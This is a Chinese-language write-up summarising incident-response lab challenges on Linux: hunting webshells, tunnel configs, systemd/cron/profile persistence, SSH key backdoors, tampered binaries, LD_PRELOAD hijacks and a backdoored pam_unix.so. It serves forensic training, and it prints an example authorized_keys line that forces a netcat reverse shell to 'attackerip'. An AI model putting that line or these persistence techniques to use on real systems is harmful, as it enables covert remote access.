近期应急响应靶场总结
1、黑客webshell里面的flag
一般来说webshell里面的木马有php相关的eval执行代码我们可以以这个为契机,直接进行搜索,不同语言的执行函数不大一样
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval(" //对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode" xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。grep "eval(":grep命令用于搜索文本,并输出匹配的行。这里"eval("是grep命令的搜索模式,用于查找包含eval(字符串的行。
2、使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值
Exec
字段一般指 “程序实际执行的可执行路径(Executable Path)”,即系统加载时记录的程序文件位置。
情况一:进程类型题(运行文件后查看 /proc)
执行:
./x.xx &
让它在后台运行。
然后查看当前系统的进程信息,找出该程序对应的 “Exec” 信息:
ps -ef | grep x.xx
假设看到进程号是 1234
,那你就去:
ls -l /proc/1234/exe
输出示例:
lrwxrwxrwx 1 root root 0 10月 17 15:33 /proc/1234/exe -> /home/zss/tmp/x.xx
🔹 那么 Exec
实际对应的就是:
/home/zss/tmp/x.xx
因此 flag 就是:
flag{/home/zss/tmp/x.xx}
3、黑客在被控服务器上创建了内网代理隐蔽通信隧道
- 配置文件里有明显的内网穿透/反向代理客户端字段:
[common]
、server_addr=IP:PORT
、conn_type=tcp
、vkey=
、auto_reconnection
、max_conn
、flow_limit
、rate_limit
、crypt=true
、compress=true
。 - 这种字段组合不是普通服务配置,而是常见的内网穿透/反向代理客户端(agent)配置,目的就是把被控主机的内网流量经由远端服务器转发(建立隐蔽代理隧道)。
- 在开源工具中,这一套配置格式与 NPS(nps/npc) 生态高度吻合(客户端通常叫
npc
,服务端叫nps
)。很多博客/issue/样例都能看到完全相同的键名(vkey
、conn_type
、flow_limit
等)。因此可以判定攻击者使用了内网穿透工具在被控主机上开了代理隧道。
什么是 SOCKS5,什么是内网穿透(隧道)
- SOCKS5:一种通用代理协议(支持 TCP/UDP、可带认证),客户端把流量发给 SOCKS5 代理,代理代为访问目标主机。常见本地端口是
1080
,程序如ssh -D
、danted
、microsocks
、3proxy
等可以提供 SOCKS5。 - 内网穿透 / 反向隧道:把内网主机的 TCP/端口通过一个长期的反向连接转发到公网服务器或直接建立隧道(比如 frp、nps、ngrok、gost 等)。用途是把被控主机的服务(或任意流量)暴露给攻击者或中继服务器。
两者如何结合(常见攻击模式)
- 攻击者在被控机上启动一个 SOCKS5 代理,监听本地某端口(例如 127.0.0.1:1080 或 0.0.0.0:1080),然后使用 内网穿透客户端(例如
npc
、frpc
、gost
)将该端口映射到远端控制服务器。结果攻击者从公网通过远端映射的端口访问被控主机内网资源(像在本地使用 SOCKS5 一样)。 - 或者,攻击者在被控机上起了隧道客户端,仅把一个 TCP 隧道连到远端。攻击者在远端服务器上再运行 SOCKS5 服务,把隧道里的流量作为 SOCKS 后端。两种实现等价:隧道 + SOCKS5 可以在任一端提供代理接口。
- 配置文件里出现
# username and password of http and socks5 proxy
这说明该程序或生态支持把 HTTP/SOCKS5 代理凭证写入配置(暗示可能会转发/生成 SOCKS5)。
4、攻击者留下了持续化监控和后门脚本,找到绝对路径
到持续化后门脚本 可能跟开启自启动有关联 先去/etc/systemd/system/
、/lib/systemd/system/
这两个目录
一、最高优先级(攻击者最常动手的地方)
/etc
(系统配置,总览)
- 目的:控制系统认证、服务、开机行为、权限与环境。
- 可能的修改(高层):替换/新增配置条目以改变认证、持久化后门、放宽权限、在启动时执行恶意程序。
- 可观测迹象:配置文件修改时间异常、出现未知 unit/配置项、登录异常、异常服务启动
目的:配置 systemd unit(服务、timer、socket 等),控制服务的启动、停止、重启及开机自启;攻击者利用该路径实现系统级持久化、自动重启后门或以服务方式隐蔽运行恶意程序。
或者通过计划任务劫持来进行持续化监控和后门脚本
/var/spool/cron/
、/etc/cron.*
查看命令 crontab -l
5、攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。
这里提示,导致任意用户登录就会触发后门的连接要考虑是不是修改了/etc下面的配置文件
/etc/profile
:系统范围的 登录 shell 配置文件,适用于所有用户(bash 作为 login shell 或由 su -
/ssh 登录时会被读取)。常放环境变量、全局 PATH、umask、profile.d 脚本调用等。
/etc/bash.bashrc
:系统范围的 interactive non-login bash shell 配置(Debian/Ubuntu 常见)。当用户打开交互式非登录 shell(例如打开终端 emulator)时会读取。并非所有发行版都用这个文件(RedHat 系列通常用 /etc/bashrc
)。
什么时候会被读取(简洁顺序)
- 登录 shell(login)(例如
ssh user@host
、su - user
、console 登录):- bash 先读取
/etc/profile
(如果存在)。 - 然后读取用户的
~/.profile
、~/.bash_profile
或~/.bash_login
(按存在顺序)。 /etc/profile
通常会for f in /etc/profile.d/*.sh; do . "$f"; done
,因此/etc/profile.d/
下的脚本也会生效。
- bash 先读取
- 交互式非登录 shell(例如在图形桌面打开终端,或执行
bash
):- bash 会读取
/etc/bash.bashrc
(若存在),然后读取用户的~/.bashrc
。
- bash 会读取
- 非交互 shell(脚本执行
bash script.sh
):- 默认不读取交互/登录文件,除非脚本显式
source
(.
)某文件,或 bash 被以--login
/-i
启动。
- 默认不读取交互/登录文件,除非脚本显式
普通用户
1、”~/.bashrc“:用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
2、”/.bash_profile“或”/.profile“:这些文件在用户登录时执行。
3、”~/.zshrc“:用于Zsh Shell,与”~/.bashrc“类似。
4、”/etc/profile“:为所有用户提供的系统级别的配置文件,
5、”/etc/bash.bashrc“:为所有用户提供的系统级别的配置文件,Bash Shell 专用。
root用户
只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录
1、“/root/.bashrc”:在root用户登录Bash Shell时执行;
2、“/root/.bash_profile”:在root用户登录时执行。
3、“/root/.profile”:在root用户登录时执行。
4、“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
5、“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;
6、通过本地 PC SSH到服务器并且溯源分析黑客的用户名
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。当redis以root身份运行,可以给root账户写入ssh公钥权限,直接通过ssh登录服务器,在攻击机中申生成ssh公钥和私钥,密码设为空
添加自己的公钥以获得免密登录(最常见)
- 在受害者的
~/.ssh/authorized_keys
中追加一行攻方公钥,黑客就能凭私钥随时免密登录该账户(包括 root,如果放在/root/.ssh/authorized_keys
)。
通过 key 做持久化后门
- 即使用户改密码或禁用密码登录,公钥仍有效。攻击者常把密钥留在系统长期可用。
绑定命令(command="...") 强制执行固定命令
- 公钥行可以以
command="...",options ssh-rsa AAAA...
的形式写入,登录时无论黑客如何用私钥连接,都会被强制执行该命令(比如启动反弹 shell、开启隧道、恢复后门等),不会给普通 shell。 - 例如:
command="/usr/bin/nc -e /bin/sh attackerip 4444",no-pty ssh-rsa AAAA...
7、通过本地 PC SSH到服务器并且分析黑客篡改的命令
/usr/bin
是 Linux 系统中放置大多数用户命令(可执行程序)的目录之一;这些程序通常在普通用户的 PATH
中,直接运行命令时会优先在这些目录查找。
攻击者常利用被替换或新增的二进制文件来持久化后门、拦截/记录凭证、反弹 shell 或隐藏恶意行为。把恶意程序放在 /usr/bin
能让它像系统命令一样被执行(例如替换 ssh
, bash
, ls
, sudo
等)。
许多自动化脚本或服务也会直接调用 /usr/bin/xxx
,因此放后门在这里更容易被触发。
即便攻击者放在 /tmp
、/dev/shm
等目录,常会再在 /usr/bin
做软链接或替换常用命令以便长期存在与方便调用。
8、黑客3s做了一个root用户执行cat命令就删除文件的操作
因为cat命令通常位于/usr/bin目录。攻击者需要确保root用户执行的cat是系统自带的那个,而不是一个恶意的替代品。因为如果攻击者替换了/usr/bin/cat,那么任何用户执行cat都会受到影响,但这通常需要root权限才能替换系统文件。而使用LD_PRELOAD则不需要替换cat本身,只需要控制环境变量
-
root用户:/usr/bin:
- 这个目录是系统级别的,通常包含由系统包管理器(如apt、yum等)安装的应用程序和工具。
- 例如,像
ls
、grep
、python
(如果通过包管理器安装)等常用的命令和程序就放在这里。 - 这个目录下的文件通常是由系统维护的,不建议用户直接在这里添加或删除文件,以免影响系统的稳定性。
普通用户/usr/local/bin:
- 这个目录是用于本地安装的软件,即由用户自己编译安装或通过其他方式安装的软件,而不是通过系统包管理器安装的。
- 这样做的目的是将用户自己安装的软件与系统自带的软件分开,便于管理,避免在系统升级时被覆盖或冲突。
- 例如,如果你从源代码编译安装一个程序,通常默认会安装到
/usr/local
目录下,可执行文件就会放在/usr/local/bin
。
总结来说,/usr/bin
是系统预装的可执行程序,而/usr/local/bin
是用户自己安装的可执行程序。在环境变量PATH中,通常/usr/local/bin
的优先级比/usr/bin
高,这样当两个目录下有同名程序时,会优先执行/usr/local/bin
下的程序。
这种题目一般会和 LD_PRELOAD
劫持配合着来考
什么是 LD_PRELOAD?
LD_PRELOAD
是一个环境变量,用于强制优先加载指定的共享库
用户执行 cat → 系统加载 /usr/bin/cat → LD_PRELOAD 强制先加载恶意库 → 恶意代码执行 → 然后才执行正常的cat功能
# 正常执行流程:
cat file.txt
# 1. 系统找到 /usr/bin/cat
# 2. 动态链接器加载cat需要的库(如libc.so)
# 3. 执行cat功能# 被劫持后的流程:
LD_PRELOAD=./malicious.so cat file.txt
# 1. 系统找到 /usr/bin/cat
# 2. 动态链接器先加载 malicious.so(因为LD_PRELOAD)
# 3. malicious.so 中的恶意代码执行
# 4. 然后才加载正常库,执行cat功能
~/.bash_history
是 Bash 保存历史命令的文件。黑客会读取/窃取/修改/删除/伪装这个文件来:
- 找到明文密码、密钥路径、运维命令、隧道/后门启动命令(情报收割);
- 删除或篡改命令历史以抹去痕迹(反取证);
- 插入误导性命令或伪造操作记录(诱导调查者做错判断);
- 用软链、权限、chattr、环境变量等技术让历史不记录或不可见(持久化与隐蔽)
普通用户
~、.bash_history
root用户
/root/.bash_history
10、设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆,也不影响原来密码使用
我们可以排查一下 /usr/lib/x86_64-linux-gnu/security/pam_unix.so
为什么要重点排查 /usr/lib/.../security/pam_unix.so
pam_unix.so
是 Linux 上最常见的 PAM(Pluggable Authentication Module)模块,负责处理本地账号的验证(如login
、sshd
、su
、sudo
等用到的本地密码校验)。- 攻击者要“记录每次登录的密码”,一个经典手法就是替换或篡改 PAM 模块(把官方的
pam_unix.so
换成带后门的版本),这样所有走 PAM 的本地认证都会被截获密码。 - 因此一旦怀疑有“记录密码”的后门,
/usr/lib/.../security/pam_unix.so
是首要排查对象:检查文件是否被替换、被注入恶意代码或是否被 LD_PRELAD/其他 hook 技术拦截。
/usr/lib/
和 /usr/bin/
是紧密相关的兄弟目录,它们共同构成了 Linux 软件安装的核心结构。
核心关系:程序 vs 库
简单比喻:
/usr/bin/
- 存放可执行程序(命令)/usr/lib/
- 存放这些程序需要的库文件
就像:
/usr/bin/
= 应用程序图标(点击就能运行)/usr/lib/
= 应用程序的依赖组件(运行需要的支持文件)
具体关系详解
- 程序执行依赖关系
text
用户输入命令 → 系统找到 /usr/bin/程序 → 程序加载 /usr/lib/ 中的库 → 程序正常运行↓ ↓ ↓"firefox" /usr/bin/firefox /usr/lib/firefox//usr/lib/x86_64-linux-gnu/libgtk-3.so.0
- 实际例子
bash
# 查看 firefox 依赖哪些库
ldd /usr/bin/firefox
# 输出示例:
# libgtk-3.so.0 => /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
# libc.so.6 => /usr/lib/x86_64-linux-gnu/libc.so.6
在做应急响应的ctf题目的时候怎么判断黑客是修改了/usr/bin还是/usr/lib?
1. 行为分析 - 观察攻击表现
如果是修改 /usr/bin
:
bash
# 特征:特定命令行为异常
cat /etc/passwd # 输出异常或执行额外操作
ls -la # 显示异常信息
ps aux # 隐藏某些进程
如果是修改 /usr/lib
:
bash
# 特征:多个命令出现相同异常
cat /etc/passwd # 都出现相同的恶意行为
vim file.txt # 比如都删除某个文件
python script.py # 或者都连接某个IP
- 具体判断方法
情况A:黑客修改了 /usr/bin/cat
bash
# 特征:
# - 只有 cat 命令行为异常
# - 其他命令正常
# - 文件修改时间异常
# - 文件大小可能变化# 验证:
/usr/bin/cat /etc/passwd # 异常
/bin/cat /etc/passwd # 正常(如果存在)
cp /bin/cat /tmp/cat_clean
/tmp/cat_clean /etc/passwd # 正常
情况B:黑客修改了 /usr/lib/
中的库
bash
# 特征:
# - 多个命令出现相同异常
# - 库文件修改时间异常
# - 存在可疑的 .so 文件
# - LD_PRELOAD 可能被设置# 验证:
cat /etc/passwd # 异常
ls -la # 异常
vim test.txt # 异常# 清除环境变量测试
env -i cat /etc/passwd # 可能正常
unset LD_PRELOAD && cat /etc/passwd # 可能正常
CTF题目中的典型线索
/usr/bin
被修改的线索:
- 题目提示"某个系统命令行为异常"
- 只有特定命令出现问题
- 文件大小或哈希值变化
/usr/lib` 被修改的线索:
- 题目提示"多个系统工具出现相同问题"
- 存在陌生的 .so 文件
- 环境变量相关的提示
总结判断方法:
特征 | /usr/bin 被修改 |
/usr/lib 被修改 |
---|---|---|
影响范围 | 单个命令 | 多个命令 |
环境依赖 | 不受LD_PRELOAD影响 | 受LD_PRELOAD影响 |
修复方法 | 替换单个二进制文件 | 修复库文件或清除环境变量 |
检测重点 | 文件完整性、大小、时间戳 | 库文件、环境变量、依赖关系 |
- 如果正常 →
LD_PRELOAD
或/usr/lib
问题 - 如果异常 →
/usr/bin/cat
被修改